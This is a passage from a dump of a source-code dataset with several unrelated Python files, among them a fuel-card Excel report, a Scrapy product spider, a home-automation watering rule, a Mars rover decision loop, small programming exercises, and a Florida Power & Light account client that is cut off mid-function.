'=D{0}+F{0}-G{0}'.format(i+1), styles5)\n i+=1\n j+=1\n ws.merge_range(i, 0, i, 1, u'合计', styles4)\n ws.write(i, 2, '', styles5)\n ws.write(i, 3, '', styles5)\n ws.write(i, 4, '=SUM(E4:E{})'.format(i), styles5)\n ws.write(i, 5, '=SUM(F4:F{})'.format(i), styles5)\n ws.write(i, 6, '=SUM(G4:G{})'.format(i), styles5)\n ws.write(i, 7, '=SUM(H4:H{})'.format(i), styles5)\n ws.write('I2', u'核对', styles4)\n ws.write(i + 3, 2, u'上月余额+本月分配-消费-本月余额=已分配未圈存金额', styles7)\n ws.write(i + 4, 2, u'分配金额-圈存金额', styles7)\n ws.write(i + 4, 3, u'运营有关', styles7)\n\n\n wb.close()\n\ndef _get_():\n try:\n yday = get_date(days=-1).strftime(\"%Y-%m-%d\")\n mdb = DB(db_host, int(db_port), db_user, db_pass, db_name)\n #获取主卡ID,卡号\n sql0 = \"SELECT `master_card_id`,`master_card_no` FROM `y_oil_master_card`;\"\n mcards = mdb.query(sql0)\n mc_data = {}\n for mcard in mcards:\n # 获取副卡id,no\n sql1 = \"SELECT `vice_card_id`,`vice_card_no` FROM `y_oil_vice_card` WHERE `master_card_id` = '{0}';\".format(mcard[0])\n vcards = mdb.query(sql1)\n vc_data = {}\n if vcards:\n for vcard in vcards:\n #上期余额\n sql2 = \"SELECT `balance` FROM `y_oil_vice_card_record` WHERE `vice_card_id` = '{0}' AND `status` = '1' AND DATE_FORMAT(`CREATED_DATE`,'%Y-%m-%d') < '{1}' ORDER BY `CREATED_DATE` DESC LIMIT 1;\".format(vcard[0],yday)\n balance = mdb.query(sql2)\n if balance:\n balance = round(float(balance[0][0]) / 100, 2)\n else:\n balance = None\n #分配金额\n sql3 = \"SELECT SUM(`amount`) FROM `y_oil_vice_card_record` WHERE `vice_card_id` = '{0}' AND `status` = '1' AND `change_type` = '1' AND DATE_FORMAT(`CREATED_DATE`,'%Y-%m-%d') = '{1}';\".format(vcard[0],yday)\n amount_1 = mdb.query(sql3)[0][0]\n if amount_1:\n amount_1 = round(float(amount_1) / 100, 2)\n else:\n amount_1 = None\n #加油金额\n sql4 = \"SELECT SUM(`amount`) FROM `y_oil_vice_card_record` WHERE `vice_card_id` = '{0}' AND `status` = '1' AND `change_type` = '3' AND DATE_FORMAT(`CREATED_DATE`,'%Y-%m-%d') = '{1}';\".format(vcard[0],yday)\n amount_2 = mdb.query(sql4)[0][0]\n if amount_2:\n amount_2 = round(float(amount_2) / 100, 2)\n else:\n amount_2 = None\n vc_data[vcard[1]] = [balance,amount_1,None,amount_2]\n mc_data[mcard[1]] = vc_data\n\n except Exception as e:\n print(e)\n return False\n finally:\n if mdb:\n mdb.mclose()\n # print(json.dumps(mc_data, indent=2, ensure_ascii=False))\n return mc_data\n\n\n # a = {\n # '11111': {\n # '1000115000000820001': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820002': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820003': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820004': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820005': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820006': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820007': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820008': [15.6, 10.06, 1000.58, 10],\n # },\n # '22222': {\n # '1000115000000820001': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820002': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820003': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820004': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820005': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820006': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820007': [15.6, 10.06, 1000.58, 10],\n # '1000115000000820008': [15.6, 10.06, 1000.58, 10],\n # },\n # }\n # return a\n\ndef get_date(days=0):\n today = datetime.date.today()\n return today + datetime.timedelta(days=days)\n\n\ndef get_first_day():\n today = datetime.date.today()\n first_day = datetime.date(today.year, today.month, 1)\n return first_day\n\ndef get_last_month():\n today = datetime.date.today()\n first_day = datetime.date(today.year, today.month, 1)\n last_month_end = first_day + datetime.timedelta(days=-1)\n last_month_start = datetime.date(last_month_end.year, last_month_end.month, 1)\n return (last_month_start,last_month_end)\n\ndef get_this_month():\n today = datetime.date.today()\n first_day = datetime.date(today.year, today.month, 1)\n last_day = datetime.date(today.year, today.month+1, 1) + datetime.timedelta(days=-1)\n return (first_day,last_day)\n\nif __name__ == '__main__':\n write_data_to_xlsx()\n sys.exit(0)","sub_path":"pys/guangxi/t5.py","file_name":"t5.py","file_ext":"py","file_size_in_byte":8768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"206411604","text":"from scrapy.contrib.spiders import CrawlSpider, Rule\r\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor\r\nfrom scrapy.selector import HtmlXPathSelector\r\nfrom scrapy.spider import BaseSpider\r\nfrom golfessentials.items import GolfessentialsItem\r\nimport urlparse \r\nfrom scrapy.http.request import Request\r\n\r\n\r\nclass MySpider(CrawlSpider):\r\n name = \"bags\"\r\n allowed_domains = [\"golfessentials.in\"]\r\n start_urls = [\"http://golfessentials.in/products.php?type=Bags&page=0&orderby=date\"]\r\n\r\n rules = (Rule (SgmlLinkExtractor(allow=(),restrict_xpaths=('//div[@class=\"pagination\"]',)), follow= True),\r\n Rule (SgmlLinkExtractor(restrict_xpaths=('//div[@class=\"boxes\"]',))\r\n , callback=\"parse_items\", follow= True),) \r\n \r\n \r\n def parse_items(self, response):\r\n hxs = HtmlXPathSelector(response)\r\n titles = hxs.select(\"//html\")\r\n items = []\r\n for titles in titles:\r\n item = GolfessentialsItem()\r\n item [\"productname\"] = titles.select(\"//h2[8]/text()\").extract()\r\n item [\"MRP\"] = titles.select(\"//h3[@class='left mrp']/text()\").extract()\r\n item [\"SP\"] = titles.select(\"//h3[@class='left sp']/text()\").extract()\r\n item [\"imgurl\"] = titles.select(\"//ul[@id='thumblist']/li/a/img/@src\").extract()\r\n item [\"Description\"] = titles.select(\"//div[@class='grid_18 description left alpha omega']\").extract()\r\n item [\"Variant\"] = titles.select(\"//table[@id='product_table']/tr/td\").extract()\r\n \r\n \r\n items.append(item)\r\n return(items)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"golfessentials/golfessentials/spiders/Bags.py","file_name":"Bags.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"72419191","text":"import math\n\nfrom marvin.helper import rule, createTimer, getNow, getGroupMember, getItemState, postUpdate, sendCommand\nfrom core.triggers import ItemCommandTrigger\n\n@rule(\"scenes_wathering.py\")\nclass ScenesWatheringRule:\n def __init__(self):\n self.triggers = [ItemCommandTrigger(\"Watering_Program_Start\")]\n\n self.progressTimer = None\n self.currentProgressMsg = \"\"\n self.nextStepTime = None\n\n def disableAllCircuits(self):\n for child in getGroupMember(\"Watering_Circuits\"):\n sendCommand(child, OFF)\n postUpdate(\"Watering_Program_State\", u\"läuft nicht\")\n\n def cancelProgressTimer(self):\n if self.progressTimer is not None:\n self.progressTimer.cancel()\n self.cleanProgressTimer()\n\n def cleanProgressTimer(self):\n self.progressTimer = None\n self.currentProgressMsg = \"\"\n self.nextStepTime = None\n\n def callbackStep(self):\n duration = getItemState(\"Watering_Program_Duration\").intValue()\n\n # Finish\n if getItemState(\"Watering_Streetside_Lawn\") == ON:\n # self.log.info(\"1\" )\n self.nextStepTime = None\n self.disableAllCircuits()\n postUpdate(\"Watering_Program_Start\", OFF)\n return -1\n # Step 3\n elif getItemState(\"Watering_Gardenside_Lawn_right\") == ON:\n # self.log.info(\"2\" )\n duration = duration / 3 * 2\n sendCommand(\"Watering_Streetside_Lawn\", ON)\n sendCommand(\"Watering_Gardenside_Lawn_right\", OFF)\n # Step 2\n elif getItemState(\"Watering_Gardenside_Lawn_left\") == ON:\n # self.log.info(\"3\" )\n sendCommand(\"Watering_Gardenside_Lawn_right\", ON)\n sendCommand(\"Watering_Gardenside_Lawn_left\", OFF)\n # Step 1\n else:\n # self.log.info(\"4\" )\n sendCommand(\"Watering_Streetside_Beds\", ON)\n sendCommand(\"Watering_Gardenside_Beds_front\", ON)\n sendCommand(\"Watering_Gardenside_Lawn_left\", ON)\n\n self.nextStepTime = getNow().plusMinutes(duration)\n\n return duration\n\n def callbackProgress(self):\n if self.progressTimer is None:\n self.nextStepTime = getNow()\n elif self.currentProgressMsg != getItemState(\"Watering_Program_State\").toString():\n self.log.info(\"Cancel Watering Progress Zombie Timer\")\n self.cleanProgressTimer()\n return\n\n nextStepInSeconds = (self.nextStepTime.getMillis() - getNow().getMillis()) / 1000.0\n\n if nextStepInSeconds <= 0:\n nextStepInMinutes = self.callbackStep()\n\n if nextStepInMinutes == -1:\n self.cleanProgressTimer()\n return\n else:\n nextStepInMinutes = int(math.floor(nextStepInSeconds / 60.0))\n\n msg = u\"\"\n\n if getItemState(\"Watering_Gardenside_Lawn_left\") == ON:\n msg = u\"Garten links \"\n elif getItemState(\"Watering_Gardenside_Lawn_right\") == ON:\n msg = u\"Garten rechts \"\n elif getItemState(\"Watering_Streetside_Lawn\") == ON:\n msg = u\"Strasse \"\n\n if nextStepInMinutes > 0:\n msg = u\"{}noch {} min\".format(msg,nextStepInMinutes)\n else:\n msg = u\"{}gleich fertig\".format(msg)\n\n self.currentProgressMsg = msg\n postUpdate(\"Watering_Program_State\", self.currentProgressMsg)\n\n self.progressTimer = createTimer(60.0, self.callbackProgress)\n self.progressTimer.start()\n\n def execute(self, module, input):\n self.cancelProgressTimer()\n\n if input[\"command\"] == OFF:\n self.disableAllCircuits()\n else:\n self.callbackProgress()\n\n","sub_path":"conf/automation/jsr223/scenes_wathering.py","file_name":"scenes_wathering.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"510531198","text":"def voto(idade):\r\n from datetime import date\r\n i = date.today().year - idade\r\n if i < 16:\r\n print(f'Com {i} anos: VOTO NEGADO!')\r\n elif 16 <= i < 18 or i > 65:\r\n print(f'Com {i} anos: VOTO É OPCIONAL!')\r\n else:\r\n print(f'Com {i} anos: VOTO É OBRIGATÓRIO!')\r\n\r\n\r\nvoto(idade=int(input('Ano de nascimento: ')))","sub_path":"PythonBasicoMundo03/Desafio101.py","file_name":"Desafio101.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"331491261","text":"\"\"\"Serializer of the categories\"\"\"\n\n# DRF\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueValidator\n\n# Models\nfrom root.Acme.models import Category\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n \"\"\"Acme categories model serializer.\"\"\"\n\n name = serializers.CharField(\n required=True,\n max_length=100,\n validators=[\n UniqueValidator(\n queryset=Category.objects.all(),\n message=\"The category name must be unique ⚠️\",\n )\n ],\n )\n\n class Meta:\n \"\"\"Meta class\"\"\"\n\n model = Category\n fields = [\"name\", \"description\"]\n read_only_fields = [\n \"id\",\n ]\n","sub_path":"root/Acme/api/serializers/Categories.py","file_name":"Categories.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"101249907","text":"def multiply_ints(list_of_ints):\n \"\"\"multiplies a list of ints by all ints in list but the int at that index\n\n >>> multiply_ints([1, 7, 3, 4])\n [84, 12, 28, 21]\n\n >>> multiply_ints([])\n []\n\n >>> multiply_ints([0, 10])\n [10, 0]\n\n >>> multiply_ints([0, 10, 1])\n [10, 0, 0]\n\n >>> multiply_ints([1])\n [1]\n\n \"\"\"\n\n products_of_all_ints_except_ind = [None] * len(list_of_ints)\n postproduct = 1\n\n for idx in xrange(len(list_of_ints) - 1, -1, -1):\n products_of_all_ints_except_ind[idx] = postproduct\n postproduct *= list_of_ints[idx]\n\n preproduct = 1\n \n for idx, num in enumerate(list_of_ints):\n products_of_all_ints_except_ind[idx] *= preproduct\n preproduct *= num\n\n return products_of_all_ints_except_ind\n\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"completed/multiply_ints.py","file_name":"multiply_ints.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"416428920","text":"import numpy as np\n\nfrom supporting_functions import distance_between\n\n\n# This is where you can build a decision tree for determining throttle, brake and steer \n# commands based on the output of the perception_step() function\ndef decision_step(Rover):\n\n # Implement conditionals to decide what to do given perception data\n # Here you're all set up with some basic functionality but you'll need to\n # improve on this decision tree to do a good job of navigating autonomously!\n\n # We are home, lets dance.\n if Rover.mode == 'home_dance':\n # We are home, lets dance\n if Rover.vel > 0:\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n Rover.throttle = 0\n elif Rover.increment and Rover.dance_frames <= 20:\n Rover.steer = -15\n Rover.dance_frames += 1\n Rover.brake = 0\n Rover.throttle = 0\n if Rover.dance_frames > 20:\n Rover.increment = False\n else:\n Rover.steer = 15\n Rover.dance_frames -= 1\n Rover.brake = 0\n Rover.throttle = 0\n if Rover.dance_frames < 0:\n Rover.increment = True\n return Rover\n \n # Check if we have vision of a rock and make decisions\n if Rover.rock_angles is not None and len(Rover.rock_angles) > 1:\n # Begin stopping\n if Rover.mode != 'pickup':\n Rover.throttle = 0\n Rover.brake = 3\n Rover.steer = 0\n Rover.mode = 'pickup'\n\n # We are getting unstuck going home.\n if Rover.try_home_frames > 0:\n Rover.try_home_frames -= 1\n # We have tried to get unstuck for a while, try to get to home again.\n if Rover.try_home_frames <= 0:\n Rover.mode = 'home'\n\n # Some times the rover might get stuck in a corner with no way to go out, so reduce the number of forward pixels\n # to find a way out.\n if Rover.mode == 'unstuck' or Rover.mode == 'stop':\n Rover.unstuck_frames += 1\n if Rover.unstuck_frames > 500:\n Rover.go_forward = 100\n else:\n Rover.unstuck_frames = 0\n\n # Reset the go_forward threshold.\n if Rover.go_forward == 100:\n Rover.low_forward_frames += 1\n if Rover.low_forward_frames >= 500:\n Rover.go_forward = 500\n else:\n Rover.low_forward_frames = 0\n\n # The Rover might go in circles when in a wide open area, this is to safe guard against that.\n if Rover.mode == 'forward' \\\n and not Rover.picking_up \\\n and (Rover.steer > 13.5 or Rover.steer < -13.5) \\\n and Rover.vel > 0.2:\n Rover.max_steer_frames += 1\n if Rover.max_steer_frames > 500:\n Rover.mode = 'unstuck'\n Rover.brake = 0\n Rover.steer = 0\n Rover.throttle = 0\n Rover.stuck_yaw = Rover.yaw\n else:\n Rover.max_steer_frames = 0\n\n # Set the starting position.\n if Rover.start_pos is None:\n Rover.start_pos = Rover.pos\n Rover.recover_pos = Rover.pos\n Rover.recover_yaw = Rover.yaw\n else:\n # Check if we are near the start.\n distance_to_start = distance_between(Rover.pos, Rover.start_pos)\n Rover.distance_to_start = distance_to_start\n map_filled = np.count_nonzero(Rover.worldmap)\n if not Rover.mode == 'unstuck' and map_filled > 7000 and distance_to_start < 5:\n Rover.ready_for_home = True\n if Rover.try_home_frames <= 0:\n Rover.mode = 'home'\n\n # Example:\n # Check if we have vision data to make decisions with\n if Rover.nav_angles is not None:\n\n if is_stuck(Rover):\n Rover.stuck_frames += 1\n if Rover.stuck_frames > 50:\n Rover.throttle = 0\n Rover.brake = 0\n Rover.steer = 0\n Rover.stuck_yaw = Rover.yaw\n Rover.mode = 'unstuck'\n if Rover.ready_for_home:\n Rover.try_home_frames = 500\n else:\n Rover.stuck_frames = 0\n\n # Check for Rover.mode status\n if Rover.mode == 'forward':\n # Check the extent of navigable terrain\n if len(Rover.nav_angles) >= Rover.stop_forward: \n # If mode is forward, navigable terrain looks good \n # and velocity is below max, then throttle \n if Rover.vel < Rover.max_vel:\n # Set throttle value to throttle setting\n Rover.throttle = Rover.throttle_set\n else: # Else coast\n Rover.throttle = 0\n Rover.brake = 0\n # Set steering to (average + 14) angle clipped to the range +/- 15\n Rover.steer = np.clip(np.mean(Rover.nav_angles * 180/np.pi) + 14, -15, 15)\n # If there's a lack of navigable terrain pixels then go to 'stop' mode\n elif len(Rover.nav_angles) < Rover.stop_forward:\n # Set mode to \"stop\" and hit the brakes!\n Rover.throttle = 0\n # Set brake to stored brake value\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n Rover.mode = 'stop'\n\n # If we're already in \"stop\" mode then make different decisions\n elif Rover.mode == 'stop':\n # If we're in stop mode but still moving keep braking\n if Rover.vel > 0.2:\n Rover.throttle = 0\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n # If we're not moving (vel < 0.2) then do something else\n elif Rover.vel <= 0.2:\n # Now we're stopped and we have vision data to see if there's a path forward\n if len(Rover.nav_angles) < Rover.go_forward:\n Rover.throttle = 0\n # Release the brake to allow turning\n Rover.brake = 0\n # Turn range is +/- 15 degrees, when stopped the next line will induce 4-wheel turning\n Rover.steer = -15 # Could be more clever here about which way to turn\n # If we're stopped but see sufficient navigable terrain in front then go!\n if len(Rover.nav_angles) >= Rover.go_forward:\n # Set throttle back to stored value\n Rover.throttle = Rover.throttle_set\n # Release the brake\n Rover.brake = 0\n # Set steer to mean angle\n Rover.steer = np.clip(np.mean(Rover.nav_angles * 180/np.pi), -15, 15)\n Rover.mode = 'forward'\n elif Rover.mode == 'pickup':\n # If not picking up, send pickup.\n if Rover.vel == 0 and not Rover.picking_up and Rover.near_sample:\n Rover.send_pickup = True\n if Rover.picking_up: # Confirmed pickup, set mode to forward.\n Rover.mode = 'forward'\n Rover.current_sample_pos = None\n else:\n # If we see the rock, go towards it.\n if Rover.rock_angles is not None and len(Rover.rock_angles) > 1:\n rock_distance = np.mean(Rover.rock_dists)\n if Rover.near_sample:\n Rover.throttle = 0\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n elif rock_distance < 15:\n if Rover.vel < Rover.rock_approach_vel:\n Rover.throttle = Rover.throttle_crawl\n Rover.brake = 0\n else:\n Rover.throttle = 0\n Rover.brake = 8\n Rover.steer = np.clip(np.mean(Rover.rock_angles * 180/np.pi) - 10, -15, 15)\n else:\n if Rover.vel < Rover.rock_approach_vel:\n Rover.throttle = Rover.throttle_crawl\n else:\n Rover.throttle = 0\n Rover.brake = 6\n Rover.steer = np.clip(np.mean(Rover.rock_angles * 180/np.pi) - 10, -15, 15)\n Rover.brake = 0\n elif Rover.current_sample_pos is not None:\n # We dont see the rock, but know its position, turn towards it to see it.\n rock_distance = distance_between(Rover.current_sample_pos, Rover.pos)\n target_yaw = np.arctan2(int(Rover.current_sample_pos[1]) - (int(Rover.pos[1])),\n int(Rover.current_sample_pos[0]) - (int(Rover.pos[0])))\n if target_yaw < 0:\n target_yaw += np.pi * 2\n\n target_yaw = target_yaw * 180/np.pi\n if Rover.near_sample:\n Rover.throttle = 0\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n elif abs(target_yaw - Rover.yaw) <= 5 or abs(target_yaw - Rover.yaw) >= 255:\n if rock_distance < 10:\n if Rover.vel < Rover.rock_approach_vel:\n Rover.throttle = Rover.throttle_crawl\n Rover.brake = 0\n else:\n Rover.throttle = 0\n Rover.brake = 8\n Rover.steer = 0\n else:\n if Rover.vel < Rover.rock_approach_vel:\n Rover.throttle = Rover.throttle_crawl\n Rover.brake = 0\n else:\n Rover.throttle = 0\n Rover.brake = 6\n Rover.steer = 0\n elif rock_distance > 1:\n if Rover.vel > 0:\n Rover.steer = 0\n Rover.throttle = 0\n Rover.brake = Rover.brake_set\n else:\n if abs(Rover.yaw - target_yaw) > 180:\n if target_yaw - Rover.yaw < 0:\n Rover.steer = 2\n else:\n Rover.steer = -2\n else:\n if target_yaw - Rover.yaw < 0:\n Rover.steer = -2\n else:\n Rover.steer = 2\n Rover.throttle = 0\n Rover.brake = Rover.brake = 0\n else:\n # We might have overshot, just keep moving although we should think about a way to go\n # back and get it.\n Rover.steer = 0\n Rover.throttle = 0\n Rover.brake = 0\n Rover.mode = 'forward'\n else:\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n Rover.throttle = 0\n Rover.current_sample_pos = None\n Rover.mode = 'forward'\n elif Rover.mode == 'unstuck':\n # Uh oh, we are stuck, rotate to find a way out.\n Rover.throttle = 0\n Rover.brake = 0\n Rover.steer = - 15\n if abs(Rover.yaw - Rover.stuck_yaw) > 10:\n Rover.mode = 'stop'\n elif Rover.mode == 'home':\n # We are all done here, lets get home.\n target_yaw = np.arctan2(int(Rover.start_pos[1]) - (int(Rover.pos[1])),\n int(Rover.start_pos[0]) - (int(Rover.pos[0])))\n if target_yaw < 0:\n target_yaw += np.pi * 2\n\n target_yaw = target_yaw * 180/np.pi\n\n yaw_diff = target_yaw - Rover.yaw\n\n # We are almost looking at the destination, go towards it.\n if abs(yaw_diff) <= 5 or abs(yaw_diff) >= 355:\n # Move towards target\n if Rover.distance_to_start < 1:\n Rover.brake = Rover.brake_set\n Rover.steer = 0\n Rover.throttle = 0\n Rover.mode = 'home_dance'\n else:\n Rover.steer = 0\n Rover.brake = 0\n Rover.throttle = Rover.throttle_quarter\n else:\n # Stop and turn towards the target.\n if Rover.vel > 0:\n Rover.steer = 0\n Rover.throttle = 0\n Rover.brake = Rover.brake_set\n else:\n if abs(yaw_diff) > 180:\n if yaw_diff < 0:\n Rover.steer = 2\n else:\n Rover.steer = -2\n else:\n if yaw_diff < 0:\n Rover.steer = -2\n else:\n Rover.steer = 2\n Rover.throttle = 0\n Rover.brake = Rover.brake = 0\n\n # Just to make the rover do something \n # even if no modifications have been made to the code\n else:\n Rover.throttle = Rover.throttle_set\n Rover.steer = 0\n Rover.brake = 0\n \n # # If in a state where want to pickup a rock send pickup command\n # if Rover.near_sample and Rover.vel == 0 and not Rover.picking_up:\n # Rover.send_pickup = True\n \n return Rover\n\n\n# Checks if the rover is stuck.\ndef is_stuck(Rover):\n return not Rover.picking_up and Rover.vel < 0.1 and Rover.throttle != 0\n","sub_path":"code/decision.py","file_name":"decision.py","file_ext":"py","file_size_in_byte":13942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"518974631","text":"import lab_08_02\nimport lab_08_03\n\n\ndef task06(list):\n result = lab_08_03.copy_list(list)\n del result[0:len(result):3]\n i = 0\n while i < len(result):\n if result[i] < 0:\n del result[i]\n else:\n i = i + 1\n return result\n\n\nif __name__ == \"__main__\":\n arr = lab_08_02.random_array(10, -10, 10)\n arr2 = task06(arr)\n print(arr)\n print(arr2)\n","sub_path":"python/lab_08_06.py","file_name":"lab_08_06.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476218213","text":"import numpy as np\nimport logging\n\n#Compression Method\n\nfile_name = 'decompression/original.log'\nprecision = 6\ninfile = open(file_name, 'r')\n\n# create output file\nlogging.basicConfig(filename=\"decompression/output.log\", level=logging.INFO, format= '%(message)s')\n\n# keep the last record of each record-type\nref = {}\n\nfor line in infile:\n data = line.split(',')\n row = [float(elm) for elm in data]\n rec_type = data[1]\n\n # calculate the difference with previous row\n if rec_type in ref:\n delta = np.subtract(row, ref[rec_type]).tolist()\n else:\n delta = row[:]\n\n # to calculate the correct record type for next rows\n row[1] = 0\n ref[rec_type] = row\n\n\n compressed = []\n for elm in delta:\n if elm.is_integer():\n val = int(elm)\n else:\n val = round(elm, precision)\n\n if val == 0:\n compressed.append('')\n else:\n compressed.append(str(val))\n\n res = ','.join(compressed)\n logging.info(res)\n\n\n","sub_path":"decompression/compress.py","file_name":"compress.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"48785319","text":"def divisors(nb, extremum = False):\n divisors = []\n inf = 1 if extremum else 2\n for i in range(inf, int(nb**0.5)+1):\n q, r = divmod(nb, i)\n if r == 0:\n if q >= i:\n divisors.append(i)\n if q > i:\n divisors.append(nb//i)\n return divisors\n#La fonction d prend en paramètre un nombre et retourne la somme des\n#diviseurs de n, n étant exclu\ndef d(nb):\n return 1 + sum(divisors(nb))\nresultat = 0\nfor a in range(1, 10000):\n b = d(a)\n if d(b) == a and a != b:\n resultat += a\nprint(resultat)\n","sub_path":"Python/Project Euler/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"167925080","text":"import itertools as it\n\ndef fizzBuzz(n):\n result = []\n for number in range(1, n + 1):\n if number % 3 == 0 and number % 5 == 0:\n result.append(\"FizzBuzz\")\n elif number % 3 == 0:\n result.append(\"Fizz\")\n elif number % 5 == 0:\n result.append(\"Buzz\")\n else:\n result.append(number)\n return result\n\n\ndef encode(cards):\n suits = [\"c\", \"d\", \"h\", \"s\"]\n value = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"T\", \"J\", \"Q\", \"K\"]\n deck = list(it.product(suits, value))\n encoded_cards = [deck.index((card[1], card[0])) for card in cards]\n\n return sorted(encoded_cards)\n\n\ndef decode(cards):\n suits = [\"c\", \"d\", \"h\", \"s\"]\n value = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"T\", \"J\", \"Q\", \"K\"]\n deck = list(it.product(suits, value))\n cards = sorted(cards)\n decoded_cards = [f\"{deck[card][1]}{deck[card][0]}\" for card in cards]\n return decoded_cards\n\n\nif __name__ == '__main__':\n print(encode(['Ac', 'Ks', '5h', 'Td', '3c']))\n print(decode([0, 51, 30, 22, 2]))\n","sub_path":"PythonInterview/amazon/warmUp.py","file_name":"warmUp.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"437519495","text":"from discord.ext import commands\nimport utils\n\nclass PermissionError(commands.CheckFailure):\n\tSERVER_LEVEL= 2\n\tCOG_LEVEL= 1\n\tCOMMAND_LEVEL= 0\n\tDEFAULT_LEVEL= -1\n\n\t# Init with everyone set to True if the permission failure was due to the perm_dict's everyone key being false.\n\tdef __init__(self, command, cog, level, exception=None, everyone=False, is_dm=False, silent=True, details=False):\n\t\tself.cog= cog\n\t\tself.command= command\n\t\tself.exception= exception\n\t\tself.level= level\n\t\tself.everyone= everyone\n\t\tself.is_dm= is_dm\n\t\tself.silent= silent\n\t\tself.details= details\n\n\tdef render(self):\n\t\tSTRINGS= utils.load_yaml(utils.ERROR_STRING_FILE)\n\n\t\tif self.level == self.DEFAULT_LEVEL:\n\t\t\treturn utils.render(STRINGS['default_perm_error'], self.__dict__)\n\t\tif self.level == self.SERVER_LEVEL:\n\t\t\treturn utils.render(STRINGS['server_perm_error'], self.__dict__)\n\t\telse:\n\t\t\treturn utils.render(STRINGS['command_or_cog_perm_error'], self.__dict__)","sub_path":"classes/errors/permission_error.py","file_name":"permission_error.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"177033532","text":"import asyncio\nimport logging\nimport re\nfrom datetime import timedelta, datetime, date as dt\n\nimport aiohttp\nimport async_timeout\nimport json\nimport sys\n\n\nfrom bs4 import BeautifulSoup\n\nSTATUS_CATEGORY_OPEN = \"OPEN\"\n# Api login result\nLOGIN_RESULT_OK = \"OK\"\nLOGIN_RESULT_INVALIDUSER = \"NOTVALIDUSER\"\nLOGIN_RESULT_INVALIDPASSWORD = \"FAILEDPASSWORD\"\nLOGIN_RESULT_UNAUTHORIZED = \"UNAUTHORIZED\"\nLOGIN_RESULT_FAILURE = \"FAILURE\"\n\n_LOGGER = logging.getLogger(__name__)\nTIMEOUT = 30\n\nURL_LOGIN = \"https://www.fpl.com/api/resources/login\"\nURL_RESOURCES_HEADER = \"https://www.fpl.com/api/resources/header\"\nURL_RESOURCES_ACCOUNT = \"https://www.fpl.com/api/resources/account/{account}\"\nURL_RESOURCES_PROJECTED_BILL = \"https://www.fpl.com/api/resources/account/{account}/projectedBill?premiseNumber={premise}&lastBilledDate={lastBillDate}\"\n\nENROLLED = \"ENROLLED\"\nNOTENROLLED = \"NOTENROLLED\"\n\n\nclass FplApi(object):\n \"\"\"A class for getting energy usage information from Florida Power & Light.\"\"\"\n\n def __init__(self, username, password, loop):\n \"\"\"Initialize the data retrieval. Session should have BasicAuth flag set.\"\"\"\n self._username = username\n self._password = password\n self._loop = loop\n self._session = None\n\n async def get_data(self) -> dict:\n self._session = aiohttp.ClientSession()\n data = {}\n data[\"accounts\"] = []\n if await self.login() == LOGIN_RESULT_OK:\n accounts = await self.async_get_open_accounts()\n\n data[\"accounts\"] = accounts\n for account in accounts:\n accountData = await self.__async_get_data(account)\n data[account] = accountData\n\n await self._session.close()\n\n return data\n\n async def login(self):\n if self._session is not None:\n session = self._session\n close = False\n else:\n session = aiohttp.ClientSession()\n close = True\n\n _LOGGER.info(\"Logging\")\n \"\"\"login and get account information\"\"\"\n result = LOGIN_RESULT_OK\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await session.get(\n URL_LOGIN, auth=aiohttp.BasicAuth(self._username, self._password)\n )\n\n js = json.loads(await response.text())\n\n if response.reason == \"Unauthorized\":\n result = LOGIN_RESULT_UNAUTHORIZED\n\n if js[\"messages\"][0][\"messageCode\"] != \"login.success\":\n _LOGGER.error(f\"Logging Failure\")\n result = LOGIN_RESULT_FAILURE\n\n _LOGGER.info(f\"Logging 